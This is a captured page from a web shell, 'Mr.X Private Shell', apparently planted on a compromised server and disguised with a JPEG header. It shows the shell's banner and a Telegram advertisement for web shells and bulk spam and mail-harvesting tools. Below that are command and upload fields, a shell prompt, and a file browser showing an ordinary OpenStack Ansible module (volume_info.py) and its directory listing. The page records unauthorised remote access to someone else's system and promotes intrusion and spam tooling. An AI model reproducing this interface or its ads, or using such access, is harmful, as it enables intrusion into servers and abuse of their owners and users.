����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# coding: utf-8 -*-

# Copyright (c) 2020, Sagi Shnaidman <sshnaidm@redhat.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

DOCUMENTATION = '''
---
module: volume_info
short_description: Retrive information about volumes
author: Sagi Shnaidman (@sshnaidm)
description:
  - Get information about block storage in openstack
options:
  details:
    description:
    - Whether to provide additional information about volumes
    type: bool
  all_projects:
    description:
    - Whether return the volumes in all projects
    type: bool
  name:
    description:
    - Name of the volume as a string.
    type: str
    required: false
  status:
    description:
    - Value of the status of the volume so that you can filter on "available" for example
    type: str
    required: false

requirements:
  - "python >= 3.6"
  - "openstacksdk"

extends_documentation_fragment:
  - openstack.cloud.openstack
'''

RETURN = '''
volumes:
  description: Volumes in project
  returned: always
  type: list
  elements: dict
  sample:
    - attachments: []
      availability_zone: nova
      consistency_group_id: null
      created_at: '2017-11-15T10:51:19.000000'
      description: ''
      extended_replication_status: null
      host: null
      id: 103ac6ed-527f-4781-8484-7ff4467e34f5
      image_id: null
      is_bootable: true
      is_encrypted: false
      links:
      - href: https://...
        rel: self
      - href: https://...
        rel: bookmark
      location:
        cloud: cloud
        project:
          domain_id: null
          domain_name: Default
          id: cfe04702154742fc964d9403c691c76e
          name: username
        region_name: regionOne
        zone: nova
      metadata:
        readonly: 'False'
      migration_id: null
      migration_status: null
      name: ''
      project_id: cab34702154a42fc96ed9403c691c76e
      replication_driver_data: null
      replication_status: disabled
      size: 9
      snapshot_id: null
      source_volume_id: null
      status: available
      volume_image_metadata:
        checksum: a14e113deeee3a3392462f167ed28cb5
        container_format: bare
        disk_format: raw
        family: centos-7
        image_id: afcf3320-1bf8-4a9a-a24d-5abd639a6e33
        image_name: CentOS-7-x86_64-GenericCloud-1708
        latest: centos-7-latest
        min_disk: '0'
        min_ram: '0'
        official: 'True'
        official-image: 'True'
        size: '8589934592'
      volume_type: null
'''

EXAMPLES = '''
- openstack.cloud.volume_info:

- openstack.cloud.volume_info:
    name: myvolume

- openstack.cloud.volume_info:
    all_projects: true

- openstack.cloud.volume_info:
    all_projects: true
    details: true
'''

from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule


class VolumeInfoModule(OpenStackModule):

    argument_spec = dict(
        details=dict(type='bool', required=False),
        all_projects=dict(type='bool', required=False, min_ver='0.19'),
        name=dict(type='str', required=False),
        status=dict(type='str', required=False),
    )
    module_kwargs = dict(
        supports_check_mode=True
    )

    def run(self):
        kwargs = self.check_versioned(
            details=self.params['details'],
            name=self.params['name'],
            all_projects=self.params['all_projects'],
            status=self.params['status'],
        )
        result = self.conn.block_storage.volumes(**kwargs)
        result = [vol if isinstance(vol, dict) else vol.to_dict() for vol in result]
        self.results.update({'volumes': result})


def main():
    module = VolumeInfoModule()
    module()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
address_scope.py File 5.98 KB 0644
auth.py File 1.33 KB 0644
baremetal_inspect.py File 4.19 KB 0644
baremetal_node.py File 15.53 KB 0644
baremetal_node_action.py File 12.65 KB 0644
baremetal_node_info.py File 21.74 KB 0644
baremetal_port.py File 11.64 KB 0644
baremetal_port_info.py File 6.83 KB 0644
catalog_service.py File 5.12 KB 0644
coe_cluster.py File 8.7 KB 0644
coe_cluster_template.py File 12.24 KB 0644
compute_flavor.py File 7.71 KB 0644
compute_flavor_info.py File 7.79 KB 0644
compute_service_info.py File 3.56 KB 0644
config.py File 1.97 KB 0644
container.py File 5.92 KB 0644
dns_zone.py File 6.98 KB 0644
dns_zone_info.py File 5.16 KB 0644
endpoint.py File 6.34 KB 0644
federation_idp.py File 6.31 KB 0644
federation_idp_info.py File 2.21 KB 0644
federation_mapping.py File 5.18 KB 0644
federation_mapping_info.py File 2.15 KB 0644
floating_ip.py File 12.14 KB 0644
floating_ip_info.py File 6.12 KB 0644
group_assignment.py File 2.29 KB 0644
host_aggregate.py File 7.21 KB 0644
identity_domain.py File 4.71 KB 0644
identity_domain_info.py File 3.13 KB 0644
identity_group.py File 4.18 KB 0644
identity_group_info.py File 4.1 KB 0644
identity_role.py File 2.66 KB 0644
identity_role_info.py File 2.23 KB 0644
identity_user.py File 7.86 KB 0644
identity_user_info.py File 4.27 KB 0644
image.py File 8.77 KB 0644
image_info.py File 5.72 KB 0644
keypair.py File 4.44 KB 0644
keypair_info.py File 3.8 KB 0644
keystone_federation_protocol.py File 5.1 KB 0644
keystone_federation_protocol_info.py File 2.57 KB 0644
lb_health_monitor.py File 11.11 KB 0644
lb_listener.py File 8.93 KB 0644
lb_member.py File 6.71 KB 0644
lb_pool.py File 8.1 KB 0644
loadbalancer.py File 24.92 KB 0644
network.py File 8.03 KB 0644
networks_info.py File 4 KB 0644
neutron_rbac_policies_info.py File 8.27 KB 0644
neutron_rbac_policy.py File 10.53 KB 0644
object.py File 3.4 KB 0644
object_container.py File 5.92 KB 0644
os_auth.py File 1.33 KB 0644
os_client_config.py File 1.97 KB 0644
os_coe_cluster.py File 8.7 KB 0644
os_coe_cluster_template.py File 12.24 KB 0644
os_flavor_info.py File 7.79 KB 0644
os_floating_ip.py File 12.14 KB 0644
os_group.py File 4.18 KB 0644
os_group_info.py File 4.1 KB 0644
os_image.py File 8.77 KB 0644
os_image_info.py File 5.72 KB 0644
os_ironic.py File 15.53 KB 0644
os_ironic_inspect.py File 4.19 KB 0644
os_ironic_node.py File 12.65 KB 0644
os_keypair.py File 4.44 KB 0644
os_keystone_domain.py File 4.71 KB 0644
os_keystone_domain_info.py File 3.13 KB 0644
os_keystone_endpoint.py File 6.34 KB 0644
os_keystone_federation_protocol.py File 5.1 KB 0644
os_keystone_federation_protocol_info.py File 2.57 KB 0644
os_keystone_identity_provider.py File 6.31 KB 0644
os_keystone_identity_provider_info.py File 2.21 KB 0644
os_keystone_mapping.py File 5.18 KB 0644
os_keystone_mapping_info.py File 2.15 KB 0644
os_keystone_role.py File 2.66 KB 0644
os_keystone_service.py File 5.12 KB 0644
os_listener.py File 8.93 KB 0644
os_loadbalancer.py File 24.92 KB 0644
os_member.py File 6.71 KB 0644
os_network.py File 8.03 KB 0644
os_networks_info.py File 4 KB 0644
os_nova_flavor.py File 7.71 KB 0644
os_nova_host_aggregate.py File 7.21 KB 0644
os_object.py File 3.4 KB 0644
os_pool.py File 8.1 KB 0644
os_port.py File 16.46 KB 0644
os_port_info.py File 6.78 KB 0644
os_project.py File 6.33 KB 0644
os_project_access.py File 6.08 KB 0644
os_project_info.py File 4.51 KB 0644
os_quota.py File 15.99 KB 0644
os_recordset.py File 7.73 KB 0644
os_router.py File 21.82 KB 0644
os_routers_info.py File 5.55 KB 0644
os_security_group.py File 4.25 KB 0644
os_security_group_rule.py File 12.07 KB 0644
os_server.py File 26.5 KB 0644
os_server_action.py File 8.84 KB 0644
os_server_group.py File 4.12 KB 0644
os_server_info.py File 2.66 KB 0644
os_server_metadata.py File 4.84 KB 0644
os_server_volume.py File 3.67 KB 0644
os_stack.py File 7.76 KB 0644
os_subnet.py File 12.55 KB 0644
os_subnets_info.py File 4.51 KB 0644
os_user.py File 7.86 KB 0644
os_user_group.py File 2.29 KB 0644
os_user_info.py File 4.27 KB 0644
os_user_role.py File 5.65 KB 0644
os_volume.py File 7.8 KB 0644
os_volume_snapshot.py File 4.86 KB 0644
os_zone.py File 6.98 KB 0644
port.py File 16.46 KB 0644
port_info.py File 6.78 KB 0644
project.py File 6.33 KB 0644
project_access.py File 6.08 KB 0644
project_info.py File 4.51 KB 0644
quota.py File 15.99 KB 0644
recordset.py File 7.73 KB 0644
role_assignment.py File 5.65 KB 0644
router.py File 21.82 KB 0644
routers_info.py File 5.55 KB 0644
security_group.py File 4.25 KB 0644
security_group_info.py File 5.8 KB 0644
security_group_rule.py File 12.07 KB 0644
security_group_rule_info.py File 7.71 KB 0644
server.py File 26.5 KB 0644
server_action.py File 8.84 KB 0644
server_group.py File 4.12 KB 0644
server_info.py File 2.66 KB 0644
server_metadata.py File 4.84 KB 0644
server_volume.py File 3.67 KB 0644
stack.py File 7.76 KB 0644
stack_info.py File 2.44 KB 0644
subnet.py File 12.55 KB 0644
subnet_pool.py File 10.99 KB 0644
subnets_info.py File 4.51 KB 0644
volume.py File 7.8 KB 0644
volume_backup.py File 6.26 KB 0644
volume_backup_info.py File 2.9 KB 0644
volume_info.py File 3.65 KB 0644
volume_snapshot.py File 4.86 KB 0644
volume_snapshot_info.py File 3.43 KB 0644